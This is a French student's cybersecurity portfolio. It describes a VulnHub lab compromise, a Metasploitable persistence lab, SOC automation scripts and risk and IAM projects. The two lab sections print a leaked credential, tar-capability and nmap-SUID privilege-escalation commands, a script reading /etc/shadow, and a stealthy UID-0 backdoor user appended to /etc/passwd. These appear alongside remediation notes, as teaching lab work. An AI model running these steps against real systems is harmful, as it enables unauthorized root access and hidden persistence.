DOSSIER DE RÉALISATIONS TECHNIQUES & PROJETS

OFFENSIVE SECURITY • AUTOMATISATION SOC • GRC

Issa MENTA
MSc 2 Manager de la Cybersécurité | ECE Paris

LinkedIn | GitHub | Portfolio

1. AUDIT SYSTÈME & PRIVILEGE ESCALATION

CIBLE : MACHINE BREAKOUT (VULNHUB)

Contexte : Dans le cadre d'un audit de type 'Black Box', l'objectif était de compromettre la machine cible (IP: 172.16.35.134) et d'élever les privilèges jusqu'au compte Root en exploitant des mauvaises configurations système.

Phase 1 : Reconnaissance & Cryptanalyse

L'énumération HTTP (Port 80) a révélé un commentaire caché dans le code source contenant une chaîne de caractères obfusquée. L'analyse a permis d'identifier l'algorithme ésotérique **Brainfuck**.

```
<!-- Commentaire extrait du code source -->
+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+.+. [>+>+<<-]>>+.>.
```

Décodage : La chaîne a révélé les identifiants : **cyber / .2uqPEfj3D<P'a-3**.

Phase 2 : Exploitation & Accès Initial

Les identifiants ont permis une connexion sur l'interface d'administration **Usermin (Port 20000)**, offrant un accès shell limité à l'utilisateur 'cyber'.

Phase 3 : Escalade de Privilèges (Root)

L'audit des binaires a révélé une configuration dangereuse des **Linux Capabilities** sur le binaire tar.

```
user@breakout:~$ getcap -r / 2>/dev/null /home/cyber/tar =
cap_dac_read_search+ep
```

La capability cap_dac_read_search permet de contourner les permissions de lecture (DAC). J'ai exploité cette faille pour archiver et extraire un fichier protégé contenant un ancien mot de passe root.

```
# Exploitation pour lire /var/backups/.old_pass.bak ./tar -cf password.tar
/var/backups/.old_pass.bak tar -xf password.tar cat var/backups/.old_pass.bak #
Résultat : Mot de passe Root en clair récupéré.
```

Mesures de Remédiation : Suppression immédiate de la capability sur tar (setcap -r) et restriction d'accès aux fichiers de backup.

2. SCRIPTING AVANCÉ & PERSISTANCE

CIBLE : METASPLOITABLE (LINUX HARDENING)

Contexte : Développer des outils d'audit automatisés et démontrer l'impact d'une compromission persistante sur un système Linux mal configuré.

A. Développement d'Outillage (Nmap NSE)

Pour automatiser la détection de fichiers sensibles, j'ai développé un script **Lua** pour le moteur NSE de Nmap. Ce script tente de lire /etc/shadow via des services vulnérables.

```
-- Extrait du script test.nse portrule = shortport.port_or_service({80, 443}, "http") action = function(host, port) local f = io.open("/etc/shadow", "r") if f then return "VULNERABLE: Lecture /etc/shadow possible!" end end
```

B. Exploitation SUID & Évasion

Identification du binaire Nmap avec le bit **SUID Root** activé. Utilisation du mode interactif pour obtenir un shell root.

```
nmap --interactive -> !sh -> # Root Shell obtenu.
```

C. Mise en place de la Persistance

L'objectif était de créer un accès durable (Backdoor) résistant au redémarrage, en injectant un faux service.

Technique utilisée : Manipulation directe des fichiers d'authentification.

1. Génération d'un hash de mot de passe conforme.
2. Injection de l'utilisateur auditd-service (pour masquer la présence) avec UID 0 (Root).

```
# Injection furtive dans /etc/shadow echo 'auditd-service:$1$aXw5W4ra$hash...:0:0::/root:/bin/bash' >> /etc/passwd # Validation su - auditd-service # Accès root maintenu sans exploit SUID.
```

Conclusion & Hardening : Ce lab démontre la nécessité critique du FIM (File Integrity Monitoring) pour détecter les modifications de /etc/passwd et l'audit régulier des bits SUID.

3. AUTOMATISATION SOC & THREAT INTEL

INDUSTRIALISATION DE LA DÉFENSE

Contexte : Optimiser les opérations d'un SOC (Security Operations Center) pour réduire la fatigue des analystes face aux alertes (Alert Fatigue).

Projet A : Détection de Phishing par Machine Learning

Conception d'un moteur d'analyse prédictive pour classifier les emails entrants.

Caractéristique	Détail Technique
Algorithme	Random Forest (Forêt d'arbres décisionnels) & TF-IDF
Dataset	10 000 emails (50% Phishing / 50% Ham)
Features	Analyse des Headers, URLs, Mots-clés d'urgence, IP Reputation
Résultat	98% de précision (Accuracy) - Intégration API REST

Projet B : Orchestration & Reporting (SOAR)

Développement d'un connecteur Python pour automatiser la génération de rapports mensuels, remplaçant une tâche manuelle de 4 heures.

Architecture du script :

1. **Collecte :** Interrogation des APIs (Splunk pour les logs, CrowdStrike pour les alertes EDR).
2. **Traitement :** Pandas pour nettoyer les données et calculer les KPIs (MTTR, MTTD).
3. **Visualisation :** Génération de graphiques (Matplotlib) et export PDF.

```
def generate_report(client_id): incidents = api.get_incidents(client_id, days=30) kpi_mttr = calculate_mttr(incidents) pdf.add_page() pdf.cell(txt=f"Mean Time To Respond: {kpi_mttr} minutes") pdf.output(f"Report_{client_id}.pdf")
```

4. GOUVERNANCE (GRC) & IAM

ALIGNEMENT STRATÉGIQUE & RISQUES

Projet A : Analyse de Risques EBIOS RM

Étude complète d'un scénario de crise pour une PME exposée au risque Ransomware.

Étape EBIOS	Analyse & Résultat
1. Socle de Sécurité	Périmètre : Système de facturation critique. Écart ISO 27001 : 45%.
2. Scénarios de Menace	Infection via Phishing -> Escalade Latérale -> Chiffrement BDD.
3. Analyse d'Impact (BIA)	Perte financière : 240k€ / 4h d'arrêt. RTO (Temps de reprise) : 4h RPO (Perte de données) : 1h
4. Mesures	Mise en place MFA (Réduction probabilité), Sauvegardes immuables (Réduction impa

Projet B : Architecture IAM avec Keycloak

Modernisation de la gestion des identités pour une application web distribuée.

- **Infrastructure :** Déploiement d'un cluster Keycloak sous Docker.
- **Protocoles :** Configuration OIDC (OpenID Connect) pour le SSO et OAuth2 pour l'autorisation API.
- **Comparatif RBAC vs ABAC :**

Démonstration des limites du RBAC (Rôle statique) et implémentation d'une logique ABAC (Attribute-Based) avec **OPA (Open Policy Agent)** pour des règles contextuelles (ex: Accès interdit si IP hors VPN).